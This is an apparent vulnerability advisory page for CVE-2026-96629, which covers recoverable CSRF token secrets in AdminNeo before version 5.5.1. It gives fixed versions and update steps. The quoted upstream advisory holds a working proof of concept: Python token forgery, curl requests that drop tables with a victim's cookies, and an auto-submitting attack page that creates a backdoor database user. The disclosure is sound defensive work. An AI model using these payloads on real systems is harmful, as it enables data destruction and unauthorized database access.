HOL LogoGuard

Explore HOL

  • HOL home
  • AI agent registry
  • AI plugins
  • Open standards
  • HOL members
  • Sponsor HOL
  • Advertise with HOL

Guard product

  • Guard overviewLocal security and control for AI agents and the tools they use.
  • FeaturesRuntime protection, policy routing, review, and evidence.

Explore Guard

  • Product previewWalk through Guard surfaces in read-only demo mode.
  • ComparisonCompare Guard with native controls and AI security vendors.

AI tools

  • All AI toolsEvery supported AI tool and how Guard applies policy to it.
  • Codex
  • Claude Code
  • Cursor
  • Antigravity CLI
  • OpenCode
  • Hermes
  • OpenClaw
  • GitHub Copilot CLI
  • Antigravity
  • Kimi
  • Grok
  • Pi / Oh My Pi
  • Zcode

Extensions

  • All extensionsBrowse command and MCP coverage with owners and stated limits.
  • Command coverageShell command protection across clouds, databases, backups, and packages.
  • MCP server coverageSee how Guard maps risk state across MCP tools and servers.
  • Core safetyThe safety floor listings that ship with Guard.
  • Data and resilienceBackup and storage command protection.
  • Cloud and infrastructureAWS, Azure, GCP, Kubernetes, and more.

Security

  • AI security hubSecurity research, advisories, and agent safety coverage.
  • AI tool securitySecurity profiles for each supported coding agent.
  • Safe labsHands-on attack simulations with safe boundaries.
  • Redacted warningsReal blocked actions with sensitive details removed.
  • AdvisoriesCoordinated disclosure reports for AI tooling.
  • Active CVEsSearch active CVEs affecting AI tooling.

Learn

  • Security guidesPractical guides for securing AI agent workflows.
  • DocsInstall, configure, and operate Guard with confidence.
  • ResearchPublished security research, benchmarks, and methodology.

Community

  • ReleasesVersion history, shipped changes and upgrade notes.
  • ContributorsThe people and contributions behind HOL Guard.
  • AffiliatesShare Guard with your audience and earn from referrals.
  • SponsorFund agreed research, implementation and shared testing through the HOL Partner Program.
  • AdvertiseCompare README logo placements, previews and monthly prices, or promote a plugin or extension.
PricingEnterpriseOpen AppInstall Guard
  1. Guard
  2. Security
  3. CVEs
  4. CVE 2026 96629 adminneo csrf token secret recoverable from
HOL Guard

Public security guidance for teams protecting AI harnesses, MCP servers, skills, prompts, and local tool execution.

Install Guard

AI Security

  • Prompt injection
  • MCP security
  • OWASP MCP mapping
  • Supply chain

Resources

  • Trust packet
  • Harness setup
  • Redacted warnings
  • Safe labs

Product

  • Install Guard
  • Pricing
  • Open dashboard
Guard
  • Guard Overview
  • Releases
  • Contributors
  • Install Guard
  • Pricing
Docs
  • Documentation Index
  • Developer Hub
  • API Reference
  • Root OpenAPI
  • Registry OpenAPI
  • Run in Postman
  • Standards
  • Submit ERC-8004 Contract
  • Feature Your Agent
Best Plugins
  • Browse Plugins
  • Plugin Launches
  • Best Claude Plugins
  • Best Codex Plugins
  • Best Grok Plugins
  • Best Kimi Plugins
  • Best DeepSeek Plugins
  • Best Antigravity Plugins
  • Best MCP Servers
  • Best Cursor Plugins
  • Best OpenCode Plugins
Best Agents
  • Best ERC-8004 Agents
  • Best Virtuals Agents
  • Best MCP Servers
  • Best A2A Agents
  • Best x402 Payable
  • All Categories
Community
  • Telegram
  • X
More
  • About HOL
  • Sponsor
  • Advertise
  • Contact
  • Blog
  • GitHub
  • Privacy
  • Terms of Service
Settings

Copyright © 2026 HOL DAO LLC. All rights reserved.

Back to active CVEs
Medium · CVSS 6.8CVE-2026-96629GHSA-WM25-49W3-5QRG

AdminNeo: CSRF Token Secret Recoverable from Single Observed Token, Enabling Cross-Site Request ForgeryCVE-2026-96629

Answer in brief

CVE-2026-96629 records a Medium severity (CVSS 6.8) vulnerability in AdminNeo: CSRF Token Secret Recoverable from Single Observed Token, Enabling Cross-Site Request Forgery. The current sources do not mark it as known exploited. The current feed maps adminneo-org/adminneo (composer), adminneo-org/adminneo (composer). Check affected ranges and fixed versions before updating.

Analysis pending evidence review

HOL Guard separates source facts from reviewed analysis. See the methodology.

Published Oct 30, 2026Updated Oct 30, 2026Source checked Oct 30, 2026First seen by HOL Oct 30, 2026Material review Oct 30, 2026
Upstream Advisory

Key facts

Risk
Medium · CVSS 6.8
Exploitation
Not marked as known exploited
Affected software
2 mapped packages or products
Fix availability
Available

Why this deserves its current priority

CVSS is 6.8. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.

Analysis status

Analysis pending evidence review

Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.

Affected scope and exposure questions

The current feed maps adminneo-org/adminneo (composer), adminneo-org/adminneo (composer). Check affected ranges and fixed versions before updating.

Mapped affected packages and fixed versions
PackageAffected rangeFixed version
adminneo-org/adminneocomposer<5.5.15.5.1
adminneo-org/adminneocomposer<5.5.15.5.1

Recommended response

  1. 1Check inventory. Check lockfiles and deployed manifests for adminneo-org/adminneo, adminneo-org/adminneo.
  2. 2Review the reported fix. Update adminneo-org/adminneo to 5.5.1; adminneo-org/adminneo to 5.5.1 if you use the affected versions. Test the change in a non-production environment first.

Evidence timeline and material changes

  1. Published upstream

    Oct 30, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  2. Source modified

    Oct 30, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  3. First seen by HOL

    Oct 30, 2026

Sources and claim methodology

  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
Upstream source description

### Summary AdminNeo's CSRF protection uses a BREACH-resistant XOR masking scheme, but the implementation transmits both the XOR mask and the masked value in every token. This allows any observer who sees a single CSRF token (via network sniffing, log files, Referrer header, or XSS) to instantly recover the session secret and forge unlimited valid CSRF tokens. Additionally, the underlying session token has only ~20 bits of entropy (`rand(1, 1e6)`), making blind brute-force feasible even without token observation. Originally reported by @az0mb13 in Adminer: [GHSA-q4f2-39gr-45jh](https://github.com/vrana/adminer/security/advisories/GHSA-33j4-hc95-pggg) ### Details Token generation in `admin/include/functions.inc.php` lines 1181-1184: ```php function get_token() { $rand = rand(1, 1e6); return ($rand ^ $_SESSION["token"]) . ":$rand"; } ``` Token verification in lines 1189-1192: ```php function verify_token() { list($token, $rand) = explode(":", $_POST["token"]); return ($rand ^ $_SESSION["token"]) == $token; } ``` Session token initialized in `admin/include/auth.inc.php` lines 327 and 385: ```php $_SESSION["token"] = rand(1, 1e6); ``` **Three distinct weaknesses:** 1. **Instant recovery:** The token format `(rand XOR secret):rand` transmits both operands. Recovery is trivial: `secret = masked_value XOR rand`. 2. **Low entropy**: Only 1,000,000 possible session tokens (~20 bits). Blind brute-force requires at most 1M requests. 3. **Loose comparison**: `verify_token()` uses `==` (loose comparison) instead of `===`, enabling PHP type juggling. ### PoC **Validated against a live AdminNeo 5.5.0 instance (MySQL 8.0, PHP 8.2).** **Step 1: Observe a single CSRF token** Load any authenticated AdminNeo page and extract a token from the HTML source. Tokens appear in hidden form fields: ```html <input type='hidden' name='token' value='222277:990527'> ``` Token observation vectors: Referrer header leak, shared proxy logs, browser history, limited XSS, network sniffing. **Step 2: Recover the session secret (instant, 1 XOR operation)** ```python observed = "542273:441804" masked, rand_val = observed.split(":") session_secret = int(masked) ^ int(rand_val) # Result: 817530 ``` The token format is `(rand XOR secret):rand`. Both operands are transmitted, so the secret is recovered with a single XOR — zero additional requests needed. **Step 3: Forge unlimited valid CSRF tokens** ```python import random forge_rand = random.randint(1, 1000000) forged = f"{forge_rand ^ session_secret}:{forge_rand}" # Example output: 729376:481370 ``` Each forged token is unique and valid. The attacker can generate as many as needed. **Step 4: Execute arbitrary SQL with the forged token** ```shell # Forged token used to DROP a table the attacker never had a token for: curl -b victim_cookies.txt \ 'http://target/adminneo/?mysql=127.0.0.1&username=root&db=testdb&sql=' \ --data-urlencode "token=729376:481370" \ --data-urlencode "query=DROP TABLE csrf_victim_table;" \ -d "limit=0" ``` **Step 5: Verify a random wrong token is rejected (control)** ```shell curl -b victim_cookies.txt \ 'http://target/adminneo/?mysql=127.0.0.1&username=root&db=testdb&sql=' \ --data-urlencode "token=111:222" \ --data-urlencode "query=SELECT 1" -d "limit=1" # Result: "Invalid CSRF token. Send the form again." ``` **Weaponized CSRF attack page** In a real attack, the attacker hosts this HTML page and lures the victim to visit it while authenticated to AdminNeo: ```html <html><body> <h1>Click here for free database optimization tips</h1> <!-- Attacker recovered secret 817530 from an observed token --> <!-- Forged token: 729376:481370 --> <iframe style="display:none" name="x"></iframe> <form id="f" method="POST" target="x" action="http://target/adminneo/?mysql=127.0.0.1&username=root&db=production&sql="> <input type="hidden" name="token" value="729376:481370"> <input type="hidden" name="query" value="CREATE USER 'backdoor'@'%' IDENTIFIED BY 'p@ss'; GRANT ALL ON *.* TO 'backdoor'@'%' WITH GRANT OPTION;"> <input type="hidden" name="limit" value="0"> </form> <script>document.getElementById('f').submit();</script> </body></html> ``` ### Impact - **Cross-Site Request Forgery** against authenticated AdminNeo users. Validated: forged token used to CREATE TABLE, INSERT data, SELECT data, and DROP TABLE — all accepted by the server. - An attacker who observes a single CSRF token (via Referrer header, proxy logs, XSS, or network sniffing) can instantly recover the session secret and forge unlimited valid tokens. - With a forged token, the attacker can execute arbitrary SQL through the victim's session: drop tables/databases, exfiltrate data, create backdoor users, or modify records. - The low entropy (~20 bits, 1M possible values) also enables blind brute-force without observing any token, requiring at most 1M requests (~17 minutes at 1000 req/sec).

Quoted source text, attributed separately from HOL analysis.

Related CVEs

  • AdminNeo: RCE via SQLite VACUUM INTO (ATTACH Blocklist Bypass)Same adminneo-org/adminneo package
  • AdminNeo has Cookie Attribute Injection via Unsanitized X-Forwarded-Prefix in Set-Cookie HeadersSame adminneo-org/adminneo package
  • AdminNeo Vulnerable to XSS via Rogue MySQL Server Version String (CSP Nonce Bypass)Same adminneo-org/adminneo package
  • AdminNeo SQLite Database-List Drop Arbitrary File DeletionSame adminneo-org/adminneo package
  • AdminNeo SQLite: multi_query Incorrect Check of Function Return Value RCESame adminneo-org/adminneo package

Record context

Vulnerability class
CSRF
EPSS
Not reported
CWE IDs
CWE-330, CWE-352
Source
GitHub Security Advisories
Source checked
Oct 30, 2026
References
4 linked sources
Open source record